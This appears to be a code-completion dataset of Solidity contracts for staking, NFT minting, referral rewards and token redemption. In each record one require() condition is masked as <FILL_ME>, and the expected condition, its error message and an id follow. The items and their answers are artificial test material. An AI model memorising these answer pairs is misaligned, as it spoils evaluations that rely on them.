RewardChanged(uint32 perc); event VestingContractChanged(address vesting); constructor(address _reward, address _rewardWallet, address _feeWallet, uint256 _startBlock) { } function poolLength() external view returns (uint256) { } // Add a new pool. Can only be called by the owner. function add( uint8 _isInputNFT, uint8 _isVested, uint256 _allocPoint, address _input, uint256 _startIdx, uint256 _endIdx ) external onlyOwner { } // Update the given pool. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, uint8 _isVested, uint256 _startIdx, uint256 _endIdx ) external onlyOwner { } function setPoolLock(uint256 _lid, uint32 _multi, uint32 _claimFee, uint32 _lockPeriod) external onlyOwner { } // View function to see pending HFDs on frontend. function pendingTkn(uint256 _pid, address _user) external view returns (uint256) { } function canWithdraw(uint8 _lid, uint256 _did, address _user) public view returns (bool) { } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { } // Deposit tokens to staking for REWARD allocation. function deposit(uint256 _pid, uint8 _lid, address _benificiary, uint256[] calldata _amounts) public nonReentrant { } // Withdraw tokens from staking. function withdraw(uint256 _pid, uint8 _lid, uint256 _did, uint256[] calldata _amounts) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); _claimReward(_pid, msg.sender); if (pool.isInputNFT == 1) { IERC721 nft = IERC721(pool.input); uint256 len = _amounts.length; uint256 poolLen = pool.depositedIds.length; uint256 userLen = user.depositedIds.length; require(userLen >= len, "HODL: Deposit/Withdraw Mismatch"); for (uint256 i = 0; i < len; ) { uint256 id = _amounts[i]; require(<FILL_ME>) nft.safeTransferFrom(address(this), msg.sender, id); uint256 idx = user.idToArrayIdx[id]; uint256 last = user.depositedIds[userLen - i - 1]; user.depositedIds[idx] = last; user.idToArrayIdx[last] = idx; user.depositedIds.pop(); user.idToArrayIdx[id] = 0; idx = pool.idToArrayIdx[id]; last = pool.depositedIds[poolLen - i - 1]; pool.depositedIds[idx] = last; pool.idToArrayIdx[last] = idx; pool.depositedIds.pop(); pool.idToArrayIdx[id] = 0; unchecked { i++; } } user.totalDeposit = user.totalDeposit - _amounts.length; pool.totalDeposit = pool.totalDeposit - _amounts.length; } else { IERC20 token = IERC20(pool.input); uint256 amount = _amounts[0]; if (_pid == 0) { PoolLockInfo storage poolLock = poolLockInfo[_lid]; UserLockInfo storage userLock = userLockInfo[_lid][msg.sender][_did]; amount = userLock.actualDeposit; require(!userLock.isWithdrawed, "HODL: Stake already withdrawed"); uint256 weightedAmount = (amount * poolLock.multi) / DIVISOR; user.totalDeposit -= weightedAmount; pool.totalDeposit -= weightedAmount; userLock.isWithdrawed = true; totalActualDeposit -= amount; vestingCont.burn(msg.sender, amount); if (canWithdraw(_lid, _did, msg.sender)) { token.safeTransfer(msg.sender, amount); } else { require(block.timestamp >= vestingCont.unlockDisabledUntil(), "HODL: Forced unlock disabled"); uint256 feeAmount = (amount * poolLock.claimFee) / DIVISOR; token.safeTransfer(feeWallet, feeAmount); amount = amount - feeAmount; token.safeTransfer(msg.sender, amount); } } else { require(user.totalDeposit >= amount, "HODL: Amount exceeds balance"); user.totalDeposit = user.totalDeposit - amount; pool.totalDeposit = pool.totalDeposit - amount; token.safeTransfer(msg.sender, amount); } } user.rewardDebt = (user.totalDeposit * pool.accTknPerShare) / 1e12; emit Withdraw(msg.sender, _pid, _lid, _amounts); } function claimReward(uint256 _pid) public { } function _claimReward(uint256 _pid, address _user) internal { } function setWallets(address _reward, address _feeWallet) external onlyOwner { } function setPercentagePerDay(uint32 _perc) external onlyOwner { } function setVesting(address _vesting) external onlyOwner { } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { } function getDepositedIdsOfUser(uint256 _pid, address _user) external view returns (uint256[] memory) { } function getLockTermsOfUser( address _user, uint8 _lid ) external view returns (uint256 count, UserLockInfo[] memory) { } function getRewardPerBlock() public view returns (uint256 rpb) { } }
user.idToArrayIdx[id]!=0||user.depositedIds[0]==id,"HODL: Not staked by caller"
117,625
user.idToArrayIdx[id]!=0||user.depositedIds[0]==id
"HODL: Stake already withdrawed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; //** HFD Staking */ //** Author: Aceson Decubate 2022.10 */ import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import { IERC721Receiver } from "@openzeppelin/contracts/interfaces/IERC721Receiver.sol"; import { IERC721 } from "@openzeppelin/contracts/interfaces/IERC721.sol"; import { IVesting } from "./interface/IVesting.sol"; contract HODLStaking is Ownable, ReentrancyGuard, IERC721Receiver { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 totalDeposit; uint256 rewardDebt; uint256 totalClaimed; uint256 depositTime; uint256[] depositedIds; mapping(uint256 => uint256) idToArrayIdx; } // Info of each pool. struct PoolInfo { uint8 isInputNFT; //0 - token, 1 - NFT uint8 isVested; //0 - false, 1 - true uint32 totalInvestors; address input; // Address of input token. uint256 allocPoint; // How many allocation points assigned to this pool. HFDs to distribute per block. uint256 lastRewardBlock; // Last block number that HFDs distribution occurs. uint256 accTknPerShare; // Accumulated HFDs per share, times 1e12. See below. uint256 startIdx; //Start index of NFT (if applicable) uint256 endIdx; //End index of NFT (if applicable) uint256 totalDeposit; uint256[] depositedIds; mapping(uint256 => uint256) idToArrayIdx; } struct PoolLockInfo { uint32 multi; //4 decimal precision uint32 claimFee; //2 decimal precision uint32 lockPeriodInSeconds; //Lock period for staked tokens } struct UserLockInfo { bool isWithdrawed; uint32 depositTime; uint256 actualDeposit; } // The REWARD TOKEN! IERC20 public immutable reward; //Percentage distributed per day. 2 decimals / 100000 uint32 public percPerDay = 0; //Address where reward token is stored address public rewardWallet; //Address where fees are sent address public feeWallet; //Vesting contract address IVesting public vestingCont; //Number of blocks per day uint16 internal constant BLOCKS_PER_DAY = 7150; //Divisor uint16 internal constant DIVISOR = 10000; // Info of each pool. PoolInfo[] public poolInfo; //Info of each lock term mapping(uint256 => PoolLockInfo) public poolLockInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Info of users who staked tokens from bonding contract mapping(uint8 => mapping(address => UserLockInfo[])) public userLockInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; //Actual deposit in lock pool uint256 public totalActualDeposit; // The block number when REWARDing starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint8 indexed lid, uint256[] amounts); event Withdraw(address indexed user, uint256 indexed pid, uint8 indexed lid, uint256[] amounts); event RewardClaimed(address indexed user, uint256 indexed pid, uint256 amount); event PoolAdded( uint8 _isInputNFT, uint8 _isVested, uint256 _allocPoint, address _input, uint256 _startIdx, uint256 _endIdx ); event PoolChanged(uint256 pid, uint256 allocPoint, uint8 isVested, uint256 startIdx, uint256 endIdx); event PoolLockChanged(uint256 lid, uint32 multi, uint32 claimFee, uint32 lockPeriod); event PoolUpdated(uint256 pid); event WalletsChanged(address reward, address feeWallet); event RewardChanged(uint32 perc); event VestingContractChanged(address vesting); constructor(address _reward, address _rewardWallet, address _feeWallet, uint256 _startBlock) { } function poolLength() external view returns (uint256) { } // Add a new pool. Can only be called by the owner. function add( uint8 _isInputNFT, uint8 _isVested, uint256 _allocPoint, address _input, uint256 _startIdx, uint256 _endIdx ) external onlyOwner { } // Update the given pool. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, uint8 _isVested, uint256 _startIdx, uint256 _endIdx ) external onlyOwner { } function setPoolLock(uint256 _lid, uint32 _multi, uint32 _claimFee, uint32 _lockPeriod) external onlyOwner { } // View function to see pending HFDs on frontend. function pendingTkn(uint256 _pid, address _user) external view returns (uint256) { } function canWithdraw(uint8 _lid, uint256 _did, address _user) public view returns (bool) { } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { } // Deposit tokens to staking for REWARD allocation. function deposit(uint256 _pid, uint8 _lid, address _benificiary, uint256[] calldata _amounts) public nonReentrant { } // Withdraw tokens from staking. function withdraw(uint256 _pid, uint8 _lid, uint256 _did, uint256[] calldata _amounts) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); _claimReward(_pid, msg.sender); if (pool.isInputNFT == 1) { IERC721 nft = IERC721(pool.input); uint256 len = _amounts.length; uint256 poolLen = pool.depositedIds.length; uint256 userLen = user.depositedIds.length; require(userLen >= len, "HODL: Deposit/Withdraw Mismatch"); for (uint256 i = 0; i < len; ) { uint256 id = _amounts[i]; require(user.idToArrayIdx[id] != 0 || user.depositedIds[0] == id, "HODL: Not staked by caller"); nft.safeTransferFrom(address(this), msg.sender, id); uint256 idx = user.idToArrayIdx[id]; uint256 last = user.depositedIds[userLen - i - 1]; user.depositedIds[idx] = last; user.idToArrayIdx[last] = idx; user.depositedIds.pop(); user.idToArrayIdx[id] = 0; idx = pool.idToArrayIdx[id]; last = pool.depositedIds[poolLen - i - 1]; pool.depositedIds[idx] = last; pool.idToArrayIdx[last] = idx; pool.depositedIds.pop(); pool.idToArrayIdx[id] = 0; unchecked { i++; } } user.totalDeposit = user.totalDeposit - _amounts.length; pool.totalDeposit = pool.totalDeposit - _amounts.length; } else { IERC20 token = IERC20(pool.input); uint256 amount = _amounts[0]; if (_pid == 0) { PoolLockInfo storage poolLock = poolLockInfo[_lid]; UserLockInfo storage userLock = userLockInfo[_lid][msg.sender][_did]; amount = userLock.actualDeposit; require(<FILL_ME>) uint256 weightedAmount = (amount * poolLock.multi) / DIVISOR; user.totalDeposit -= weightedAmount; pool.totalDeposit -= weightedAmount; userLock.isWithdrawed = true; totalActualDeposit -= amount; vestingCont.burn(msg.sender, amount); if (canWithdraw(_lid, _did, msg.sender)) { token.safeTransfer(msg.sender, amount); } else { require(block.timestamp >= vestingCont.unlockDisabledUntil(), "HODL: Forced unlock disabled"); uint256 feeAmount = (amount * poolLock.claimFee) / DIVISOR; token.safeTransfer(feeWallet, feeAmount); amount = amount - feeAmount; token.safeTransfer(msg.sender, amount); } } else { require(user.totalDeposit >= amount, "HODL: Amount exceeds balance"); user.totalDeposit = user.totalDeposit - amount; pool.totalDeposit = pool.totalDeposit - amount; token.safeTransfer(msg.sender, amount); } } user.rewardDebt = (user.totalDeposit * pool.accTknPerShare) / 1e12; emit Withdraw(msg.sender, _pid, _lid, _amounts); } function claimReward(uint256 _pid) public { } function _claimReward(uint256 _pid, address _user) internal { } function setWallets(address _reward, address _feeWallet) external onlyOwner { } function setPercentagePerDay(uint32 _perc) external onlyOwner { } function setVesting(address _vesting) external onlyOwner { } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { } function getDepositedIdsOfUser(uint256 _pid, address _user) external view returns (uint256[] memory) { } function getLockTermsOfUser( address _user, uint8 _lid ) external view returns (uint256 count, UserLockInfo[] memory) { } function getRewardPerBlock() public view returns (uint256 rpb) { } }
!userLock.isWithdrawed,"HODL: Stake already withdrawed"
117,625
!userLock.isWithdrawed
"Receiver is not whitelisted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // used for whitelist management import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; // used for general settings management import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import { IBCMembership } from "./interfaces/IBCMembership.sol"; contract BCMembershipBroker_v1 is AccessControl, Ownable, ReentrancyGuard { address public immutable nftContract; address public treasury; uint256 public maxMintableTokenId; uint256 public mintPrice; bool public mintIsActive; bytes32 public constant WHITELISTED_ROLE = keccak256("WHITELISTED_ROLE"); event MaxMintableTokenIdUpdate(address indexed _by, uint256 indexed _maxTokenId); event MintPriceUpdate(address indexed _by, uint256 indexed _amount); event MintFlagUpdate(address indexed _by, bool indexed _active); event TreasuryUpdate(address indexed _by, address indexed _treasury); constructor( address _owner, address _defaultAdmin, address _nftContract, address _treasury, uint256 _maxMintableTokenId ) { } modifier canMint(address _to) { require(mintIsActive, "Minting is not active"); require(msg.value == mintPrice, "Tx value needs to be equal to mint price"); require(<FILL_ME>) uint256 totalSupply = IBCMembership(nftContract).totalSupply(); require(totalSupply + 1 <= maxMintableTokenId, "No tokens available for mint"); _; } function mint() external payable canMint(msg.sender) nonReentrant { } function mintTo( address _to ) external payable onlyOwner canMint(_to) nonReentrant { } function mintToWithUri( address _to, string memory _uri ) external payable onlyOwner canMint(_to) nonReentrant { } function setMaxMintableTokenId( uint256 _maxMintableTokenId ) external onlyOwner { } function setMintPrice( uint256 _mintPrice ) external onlyOwner { } function setTreasury( address _treasury ) external onlyOwner { } function withdrawTotalBalanceToTreasury() external onlyOwner { } function flipMintFlag() external onlyOwner { } function setBaseUri( string memory _baseUri ) external onlyOwner { } function migrateToNewBroker( address _newBrokerContract ) external onlyOwner { } }
hasRole(WHITELISTED_ROLE,_to),"Receiver is not whitelisted"
117,745
hasRole(WHITELISTED_ROLE,_to)
"No tokens available for mint"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // used for whitelist management import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; // used for general settings management import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import { IBCMembership } from "./interfaces/IBCMembership.sol"; contract BCMembershipBroker_v1 is AccessControl, Ownable, ReentrancyGuard { address public immutable nftContract; address public treasury; uint256 public maxMintableTokenId; uint256 public mintPrice; bool public mintIsActive; bytes32 public constant WHITELISTED_ROLE = keccak256("WHITELISTED_ROLE"); event MaxMintableTokenIdUpdate(address indexed _by, uint256 indexed _maxTokenId); event MintPriceUpdate(address indexed _by, uint256 indexed _amount); event MintFlagUpdate(address indexed _by, bool indexed _active); event TreasuryUpdate(address indexed _by, address indexed _treasury); constructor( address _owner, address _defaultAdmin, address _nftContract, address _treasury, uint256 _maxMintableTokenId ) { } modifier canMint(address _to) { require(mintIsActive, "Minting is not active"); require(msg.value == mintPrice, "Tx value needs to be equal to mint price"); require(hasRole(WHITELISTED_ROLE, _to), "Receiver is not whitelisted"); uint256 totalSupply = IBCMembership(nftContract).totalSupply(); require(<FILL_ME>) _; } function mint() external payable canMint(msg.sender) nonReentrant { } function mintTo( address _to ) external payable onlyOwner canMint(_to) nonReentrant { } function mintToWithUri( address _to, string memory _uri ) external payable onlyOwner canMint(_to) nonReentrant { } function setMaxMintableTokenId( uint256 _maxMintableTokenId ) external onlyOwner { } function setMintPrice( uint256 _mintPrice ) external onlyOwner { } function setTreasury( address _treasury ) external onlyOwner { } function withdrawTotalBalanceToTreasury() external onlyOwner { } function flipMintFlag() external onlyOwner { } function setBaseUri( string memory _baseUri ) external onlyOwner { } function migrateToNewBroker( address _newBrokerContract ) external onlyOwner { } }
totalSupply+1<=maxMintableTokenId,"No tokens available for mint"
117,745
totalSupply+1<=maxMintableTokenId
"Invalid Referral"
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./ERC721AVantabox.sol"; contract Vantabox is ERC721AVantabox, Ownable, ReentrancyGuard { string public baseTokenURI; uint256 public constant MINT_PRICE = 0.05 ether; mapping(address => uint256) public referralCount; mapping(address => uint256) public claimedCount; mapping(address => address[]) public walletReferral; address public ownerAddress; constructor(string memory baseURI, address _owner) ERC721AVantabox("Vantabox", "VANTABOX") { } function _baseURI() internal view virtual override returns(string memory) { } function setBaseURI(string memory _baseTokenURI) external onlyOwner { } function mintVantabox(address _referrer) external payable { require(msg.value >= MINT_PRICE, "Invalid value"); require(<FILL_ME>) _safeMint(msg.sender, 1, _referrer); referralCount[_referrer] += 1; walletReferral[_referrer].push(msg.sender); } function claimBalance(address _wallet) public view returns(uint256 balance) { } function claim() external nonReentrant { } }
balanceOf(_referrer)>0,"Invalid Referral"
117,774
balanceOf(_referrer)>0
"All claimed"
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./ERC721AVantabox.sol"; contract Vantabox is ERC721AVantabox, Ownable, ReentrancyGuard { string public baseTokenURI; uint256 public constant MINT_PRICE = 0.05 ether; mapping(address => uint256) public referralCount; mapping(address => uint256) public claimedCount; mapping(address => address[]) public walletReferral; address public ownerAddress; constructor(string memory baseURI, address _owner) ERC721AVantabox("Vantabox", "VANTABOX") { } function _baseURI() internal view virtual override returns(string memory) { } function setBaseURI(string memory _baseTokenURI) external onlyOwner { } function mintVantabox(address _referrer) external payable { } function claimBalance(address _wallet) public view returns(uint256 balance) { } function claim() external nonReentrant { require(<FILL_ME>) uint256 claimQty = referralCount[msg.sender] - claimedCount[msg.sender]; uint256 claimReward = claimQty * MINT_PRICE * 3/4; uint256 claimFee = claimQty * MINT_PRICE * 1/4; claimedCount[msg.sender] += claimQty; payable(msg.sender).transfer(claimReward); payable(ownerAddress).transfer(claimFee); } }
claimedCount[msg.sender]<referralCount[msg.sender],"All claimed"
117,774
claimedCount[msg.sender]<referralCount[msg.sender]
"Failed to transfer ABIv2"
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @notice This contract handles the 1:1 swap of the ABIv1 ERC20 token for the ABIv2 ERC20 token. * The ABIv1 tokens transfered in this contract cannot be transfered out. */ contract AbachiRedemption is Ownable { using Address for address; IERC20 public ABIv1; IERC20 public ABIv2; bool public paused = false; uint256 public constant DECIMALS_DIFF_FACTOR = 10**9; event Swap(address _sender, address _recipient, uint256 _amount); /** * @param _ABIv1 Address of ABIv1 ERC20 contract. * @param _ABIv2 Address of ABIv2 ERC20 contract. */ constructor(address _ABIv1, address _ABIv2) { } /** * @notice Pauses swapping, preventing any further calls to swap() from succeeding until * unpause() is called. */ function pause() external onlyOwner { } /** * @notice Unpauses swapping if it was paused previously. */ function unpause() external onlyOwner { } /** * @notice Swaps all the ABIv1 held by the caller to ABIv2. * Emits Swap event if the swap is successful. */ function swap() external { } /** * @notice Deducts some ABIv1 from the caller and transfers the corresponding amount of ABIv2 to the another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv1 tokens to swap. */ function swapFor(address _recipient, uint256 _amount) external { } /** * @notice Transfers some ABIv2 from the contract to another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv2 tokens to transfer. */ function withdrawTo(address _recipient, uint256 _amount) external onlyOwner { require(<FILL_ME>) } function _swapFor(address _recipient, uint256 _amount) private { } }
ABIv2.transfer(_recipient,_amount),"Failed to transfer ABIv2"
118,009
ABIv2.transfer(_recipient,_amount)
"Failed to transfer ABIv1"
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @notice This contract handles the 1:1 swap of the ABIv1 ERC20 token for the ABIv2 ERC20 token. * The ABIv1 tokens transfered in this contract cannot be transfered out. */ contract AbachiRedemption is Ownable { using Address for address; IERC20 public ABIv1; IERC20 public ABIv2; bool public paused = false; uint256 public constant DECIMALS_DIFF_FACTOR = 10**9; event Swap(address _sender, address _recipient, uint256 _amount); /** * @param _ABIv1 Address of ABIv1 ERC20 contract. * @param _ABIv2 Address of ABIv2 ERC20 contract. */ constructor(address _ABIv1, address _ABIv2) { } /** * @notice Pauses swapping, preventing any further calls to swap() from succeeding until * unpause() is called. */ function pause() external onlyOwner { } /** * @notice Unpauses swapping if it was paused previously. */ function unpause() external onlyOwner { } /** * @notice Swaps all the ABIv1 held by the caller to ABIv2. * Emits Swap event if the swap is successful. */ function swap() external { } /** * @notice Deducts some ABIv1 from the caller and transfers the corresponding amount of ABIv2 to the another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv1 tokens to swap. */ function swapFor(address _recipient, uint256 _amount) external { } /** * @notice Transfers some ABIv2 from the contract to another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv2 tokens to transfer. */ function withdrawTo(address _recipient, uint256 _amount) external onlyOwner { } function _swapFor(address _recipient, uint256 _amount) private { require(!paused, "Bridge is paused"); require(_amount > 0, "Invalid ABIv1 amount"); require(<FILL_ME>) uint256 ABIv2Amount = _amount * DECIMALS_DIFF_FACTOR; require(ABIv2.transfer(_recipient, ABIv2Amount), "Failed to transfer ABIv2"); emit Swap(msg.sender, _recipient, ABIv2Amount); } }
ABIv1.transferFrom(msg.sender,address(this),_amount),"Failed to transfer ABIv1"
118,009
ABIv1.transferFrom(msg.sender,address(this),_amount)
"Failed to transfer ABIv2"
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @notice This contract handles the 1:1 swap of the ABIv1 ERC20 token for the ABIv2 ERC20 token. * The ABIv1 tokens transfered in this contract cannot be transfered out. */ contract AbachiRedemption is Ownable { using Address for address; IERC20 public ABIv1; IERC20 public ABIv2; bool public paused = false; uint256 public constant DECIMALS_DIFF_FACTOR = 10**9; event Swap(address _sender, address _recipient, uint256 _amount); /** * @param _ABIv1 Address of ABIv1 ERC20 contract. * @param _ABIv2 Address of ABIv2 ERC20 contract. */ constructor(address _ABIv1, address _ABIv2) { } /** * @notice Pauses swapping, preventing any further calls to swap() from succeeding until * unpause() is called. */ function pause() external onlyOwner { } /** * @notice Unpauses swapping if it was paused previously. */ function unpause() external onlyOwner { } /** * @notice Swaps all the ABIv1 held by the caller to ABIv2. * Emits Swap event if the swap is successful. */ function swap() external { } /** * @notice Deducts some ABIv1 from the caller and transfers the corresponding amount of ABIv2 to the another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv1 tokens to swap. */ function swapFor(address _recipient, uint256 _amount) external { } /** * @notice Transfers some ABIv2 from the contract to another account. * @param _recipient Account that will receive the ABIv2 tokens. * @param _amount Amount of ABIv2 tokens to transfer. */ function withdrawTo(address _recipient, uint256 _amount) external onlyOwner { } function _swapFor(address _recipient, uint256 _amount) private { require(!paused, "Bridge is paused"); require(_amount > 0, "Invalid ABIv1 amount"); require( ABIv1.transferFrom(msg.sender, address(this), _amount), "Failed to transfer ABIv1" ); uint256 ABIv2Amount = _amount * DECIMALS_DIFF_FACTOR; require(<FILL_ME>) emit Swap(msg.sender, _recipient, ABIv2Amount); } }
ABIv2.transfer(_recipient,ABIv2Amount),"Failed to transfer ABIv2"
118,009
ABIv2.transfer(_recipient,ABIv2Amount)
"Farming not supported"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StakeContract { string public name; // create 2 state variables address public FarmToken; uint reward_rate; struct farm_slot { bool active; uint balance; uint deposit_time; uint locked_time; uint index; address token; } struct farm_pool { mapping(uint => uint) lock_multiplier; mapping(address => uint) is_farming; mapping(address => bool) has_farmed; uint total_balance; } struct time_pool { bool enabled; bool check_balance; uint percentage_to_check; uint multiplier; } address public owner; address[] public farms; uint[] public times; mapping(address => mapping(uint => farm_slot)) public farming_unit; mapping(address => uint[]) farmer_pools; mapping(address => farm_pool) public token_pool; mapping(address => uint) farm_id; mapping(address => bool) public is_farmable; mapping(address => uint) public last_tx; mapping(address => mapping(uint => uint)) public lock_multiplier; mapping(uint => time_pool) time_allowed; mapping(address => bool) public is_auth; uint256 cooldown_time = 10 seconds; bool is_fixed_locking = true; bool early_withdraw_available = true; uint early_withdraw_percentage_comission = 100; IERC20 token_reward; constructor(string memory _name, address _businessOwner, address _token) { } bool locked; modifier safe() { } modifier cooldown() { } modifier authorized() { } modifier onlyOwner() { } function has_finished (uint id, address addy) public view returns(bool) { } ///@notice Public farming functions ///@dev Approve function approveTokens() public { } ///@dev Deposit farmable tokens in the contract function farmTokens(uint _amount, uint locking) public { require(<FILL_ME>) if (is_fixed_locking) { require(time_allowed[locking].enabled, "Locking time not allowed"); } else { require(locking >= 1 days, "Locking time not allowed"); } require(IERC20(FarmToken).allowance(msg.sender, address(this)) >= _amount, "Allowance?"); if (time_allowed[locking].check_balance) { uint min_amount = IERC20(FarmToken).balanceOf(msg.sender) * time_allowed[locking].percentage_to_check / 100; require(_amount >= min_amount, "Pool not allowed for this amount of tokens."); } // Trasnfer farmable tokens to contract for farming bool transferred = IERC20(FarmToken).transferFrom(msg.sender, address(this), _amount); require(transferred, "Not transferred"); // Update the farming balance in mappings farm_id[msg.sender]++; uint id = farm_id[msg.sender]; farming_unit[msg.sender][id].locked_time = locking; farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount; farming_unit[msg.sender][id].deposit_time = block.timestamp; farming_unit[msg.sender][id].token = FarmToken; token_pool[FarmToken].total_balance += _amount; // Add user to farms array if they haven't farmd already if(token_pool[FarmToken].has_farmed[msg.sender]) { token_pool[FarmToken].has_farmed[msg.sender] = true; } // Update farming status to track token_pool[FarmToken].is_farming[msg.sender]++; farmer_pools[msg.sender].push(id); farming_unit[msg.sender][id].index = (farmer_pools[msg.sender].length)-1; } ///@dev Unfarm tokens (if not locked) function unfarmTokens(uint id) public safe cooldown { } ///@dev Give rewards and clear the reward status function issueInterestToken(uint id) public safe cooldown { } ///@dev return the general state of a pool function get_pool() public view returns (uint) { } ///@notice Private functions ///@dev Helper to calculate rewards in a quick and lightweight way function _calculate_rewards(uint id, address addy) public view returns (uint) { } ///@notice Control functions function get_farmer_pools(address farmer) public view returns(uint[] memory) { } function unstuck_tokens(address tkn) public authorized { } function set_time_allowed(uint time, bool enabled, bool check_balance, uint multiplier) public authorized { } function get_time_allowed(uint time) public view returns (time_pool memory) { } function get_times_array() public view returns(uint[] memory){ } function set_authorized(address addy, bool booly) public authorized { } function set_authorized(address addy) public onlyOwner { } function set_farming_state(bool status) public authorized { } function get_farming_state() public view returns (bool) { } function get_reward_rate() public view returns (uint) { } function get_reward_rate_timed(uint time) public view returns (uint) { } function set_reward_rate(uint rate) public authorized { } function set_early_withdraw_percentage_comission(uint _early_withdraw_percentage_comission) public authorized { } function set_early_withdraw_available(bool _early_withdraw_available) public authorized { } function set_squid_token(address token) public authorized { } function set_multiplier(uint time, uint multiplier) public authorized { } function set_is_fixed_locking(bool fixed_locking) public authorized { } function get_multiplier(uint time) public view returns(uint) { } ///@notice time helpers function get_1_day() public pure returns(uint) { } function get_3_days() public pure returns(uint) { } function get_1_month() public pure returns(uint) { } function get_2_months() public pure returns(uint) { } function get_x_days(uint x) public pure returns(uint) { } function get_single_pool(uint id, address addy) public view returns (farm_slot memory) { } function get_time_remaining(uint id, address addy) public view returns (uint) { } function get_pool_lock_time(uint id, address addy) public view returns (uint) { } function get_pool_balance(uint id, address addy) public view returns (uint) { } function get_pool_details(uint id, address addy) public view returns (uint, uint) { } receive() external payable {} fallback() external payable {} }
is_farmable[FarmToken],"Farming not supported"
118,128
is_farmable[FarmToken]
"Locking time not allowed"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StakeContract { string public name; // create 2 state variables address public FarmToken; uint reward_rate; struct farm_slot { bool active; uint balance; uint deposit_time; uint locked_time; uint index; address token; } struct farm_pool { mapping(uint => uint) lock_multiplier; mapping(address => uint) is_farming; mapping(address => bool) has_farmed; uint total_balance; } struct time_pool { bool enabled; bool check_balance; uint percentage_to_check; uint multiplier; } address public owner; address[] public farms; uint[] public times; mapping(address => mapping(uint => farm_slot)) public farming_unit; mapping(address => uint[]) farmer_pools; mapping(address => farm_pool) public token_pool; mapping(address => uint) farm_id; mapping(address => bool) public is_farmable; mapping(address => uint) public last_tx; mapping(address => mapping(uint => uint)) public lock_multiplier; mapping(uint => time_pool) time_allowed; mapping(address => bool) public is_auth; uint256 cooldown_time = 10 seconds; bool is_fixed_locking = true; bool early_withdraw_available = true; uint early_withdraw_percentage_comission = 100; IERC20 token_reward; constructor(string memory _name, address _businessOwner, address _token) { } bool locked; modifier safe() { } modifier cooldown() { } modifier authorized() { } modifier onlyOwner() { } function has_finished (uint id, address addy) public view returns(bool) { } ///@notice Public farming functions ///@dev Approve function approveTokens() public { } ///@dev Deposit farmable tokens in the contract function farmTokens(uint _amount, uint locking) public { require(is_farmable[FarmToken], "Farming not supported"); if (is_fixed_locking) { require(<FILL_ME>) } else { require(locking >= 1 days, "Locking time not allowed"); 